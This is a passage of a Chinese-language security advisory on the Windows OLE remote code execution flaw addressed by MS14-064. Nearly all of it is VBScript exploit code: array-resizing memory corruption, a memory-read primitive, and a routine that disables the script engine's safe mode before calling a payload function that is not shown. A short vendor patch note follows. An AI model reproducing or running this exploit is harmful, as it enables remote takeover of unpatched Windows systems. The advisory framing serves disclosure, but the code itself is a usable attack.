Microsoft Windows OLE远程代码执行漏洞(CVE(2)

aa(a1+2)=myarray
      ab(2)=1.74088534731324E-310 
      mydata=aa(a1)
      redim  Preserve aa(a0) 
 end function

 function setnotsafemode()
    On Error Resume Next
    i=mydata() 
    i=readmemo(i+8)
    i=readmemo(i+16)
    j=readmemo(i+&h134) 
    for k=0 to &h60 step 4
        j=readmemo(i+&h120+k)
        if(j=14) then
              j=0         
              redim  Preserve aa(a2)           
              aa(a1+2)(i+&h11c+k)=ab(4)
              redim  Preserve aa(a0) 

j=0
              j=readmemo(i+&h120+k) 
         
                Exit for
            end if

next
    ab(2)=1.69759663316747E-313
    runmumaa()
 end function

function Over()
    On Error Resume Next
    dim type1,type2,type3
    Over=False
    a0=a0+a3
    a1=a0+2
    a2=a0+&h8000000
 
    redim  Preserve aa(a0)
    redim  ab(a0)   
 
    redim  Preserve aa(a2)
 
    type1=1
    ab(0)=1.123456789012345678901234567890
    aa(a0)=10
         
    If(IsObject(aa(a1-1)) = False) Then
        if(intVersion<4) then
            mem=cint(a0+1)*16           
            j=vartype(aa(a1-1))
            if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then   
                  If(IsObject(aa(a1)) = False ) Then           
                    type1=VarType(aa(a1))
                  end if             
              end if
            else
              redim  Preserve aa(a0)
              exit  function

end if
        else
            if(vartype(aa(a1-1))<>0)  Then   
              If(IsObject(aa(a1)) = False ) Then
                  type1=VarType(aa(a1))
              end if             
            end if
        end if
    end if
             
   
    If(type1=&h2f66) Then       
          Over=True     
    End If 
    If(type1=&hB9AD) Then
          Over=True
          win9x=1
    End If 

redim  Preserve aa(a0)         
       
 end function

function ReadMemo(add)
    On Error Resume Next
    redim  Preserve aa(a2) 
 
    ab(0)=0 
    aa(a1)=add+4   
    ab(0)=1.69759663316747E-313     
    ReadMemo=lenb(aa(a1)) 
   
    ab(0)=0   

redim  Preserve aa(a0)
 end function

</script>

</body>
 </html>

==================================================================================

建议：
厂商补丁：

Microsoft
 ---------
 Microsoft已经为此发布了一个安全公告（MS14-064）以及相应补丁:
MS14-064：Vulnerabilities in Windows OLE Could Allow Remote Code Execution
链接：